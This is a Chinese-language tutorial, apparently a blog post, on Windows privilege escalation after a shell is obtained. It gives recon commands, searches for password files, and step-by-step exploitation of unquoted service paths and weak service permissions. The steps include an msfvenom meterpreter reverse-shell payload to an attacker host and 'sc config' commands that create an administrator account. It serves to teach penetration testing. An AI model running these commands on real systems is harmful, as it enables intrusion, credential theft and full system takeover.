假設我們取得受害主機的 shell (cmd.exe 或 powershell)可以根據自己的需求取得需要的資訊。
系統資訊常用指令
指令 | 說明 |
---|---|
systeminfo | 系統資訊 |
netstat | 網路連接 |
netsh firewall | 防火牆設定 |
schtasks | 排程任務 |
tasklist | 執行 process |
net | 執行服務 |
DRIVERQUERY | 查詢目前安裝的驅動程式 |
wmic | Windows 管理介面 |
檢查作業系統版本systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
檢查防火牆的狀態與設定netsh firewall show state
netsh firewall show config
查看定期執行的任務schtasks /query /fo LIST /v
檢查正在執行的 processtasklist /SVC
檢查正在執行的服務net start
檢查已經安裝的 patchwmic qfe get Caption,Description,HotFixID,InstalledOn
查詢目前系統內是否有包含密碼的檔案dir /s *password*
針對內容查詢指定的關鍵字內容findstr /si password *.txt
Windows 中允許資料夾包含空格,因此執行程式或切換資料夾的時候,如果遇到有空格的路徑,要利用雙引號括起來。
不然有機會造成 Unquoted Service Paths 的漏洞,這個漏洞成功的條件是:
舉例來說, Windows 系統中,有以下的程式的路徑:C:\Program Files\Program\Fei Folder\Service.exe
假設沒有使用雙引號執行該程式,Windows 會嘗試先找與路徑最前面符合的程式:
C:\Program.exe
C:\Program Files\Program\Fei.exe
C:\Program Files\Program\Fei Folder\Service.exe
如果我們可以在這些路徑放上惡意的程式,當我們重新啟動的時候,就會優先執行這些惡意程式。
以下為測試的步驟解析:
STEP1: 透過 wmic 搜尋系統中有 Unquoted Service Paths 的服務:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
假設找到:C:\Program Files\Program\Fei Folder\Service.exe
我們要先尋找是否有這些資料夾,且是否有這些資料夾的寫入權限。
STEP2:確認是否有資料夾的寫入權限icacls <資料夾路徑>
權限 | 說明 |
---|---|
F | 所有權限(讀取、修改、寫入、執行) |
M | 修改權限 |
RX | 讀取與執行權限 |
R | 讀取權限 |
W | 寫入權限 |
繼承權限說明
在 Windows 當中,資料夾可以根據父資料夾的權限,以四種繼承方式繼承。
權限 | 說明 |
---|---|
(OI) | 物件繼承 Object inherit |
(CI) | 容器繼承 Container inherit |
(IO) | 只有繼承 Inherit only |
(NP) | 不傳播繼承 Do not propagate inherit |
SETP3:構造惡意後門
msfvenom -p windows/meterpreter/reverse_tcp -e LHOST=[LHOST IP] LPORT=443 -f exe -o Fei.exe
STEP4:上傳後門,到指定的資料夾內
meterpreter > upload Fei.exe "c:\\Program Files\\Program"
STEP5:停止並重新啟動服務sc stop <服務名稱>
sc start <服務名稱>
亦可透過 Metasploit 的模組exploit/windows/local/trusted_service_path
來利用 Unquoted Service Paths 漏洞。
透過修改服務的路徑,將路徑指定到有寫入權限的資料夾中的惡意程式。
STEP1: 查詢可透過身分驗證使用者類型可修改的服務accesschk.exe -uwcqv "Authenticated Users" * /accepteula
會顯示
RW Fei service
SERVICE_ALL_ACCESS
STEP2: 顯示該服務的屬性sc qc <服務名稱>
STEP3: 修改服務的路徑(BINARY_PATH_NAME)sc config <服務名稱> binpath= "惡意程式路徑"
甚至可以直接執行惡意指令,如新增使用者並且給予管理員的權限
sc config <服務名稱> binpath= "net user admin password /add"
將新使用者加入管理員群組
sc config <服務名稱> binpath= "net localgroup Administrators admin /add"
STEP4: 停止並重新啟動服務
sc stop <服務名稱>
sc start <服務名稱>
亦可透過 Metasploit 的模組exploit/windows/local/service_permissions
來利用修改服務的路徑漏洞。
假設沒有使用雙引號執行該程式,Windows 會嘗試先找與路徑最前面符合的程式
這個特性應該只有在當 Windows 執行服務時才會出現吧?會出現這種攻擊感覺比較像是 Windows 的 bug feature 哈哈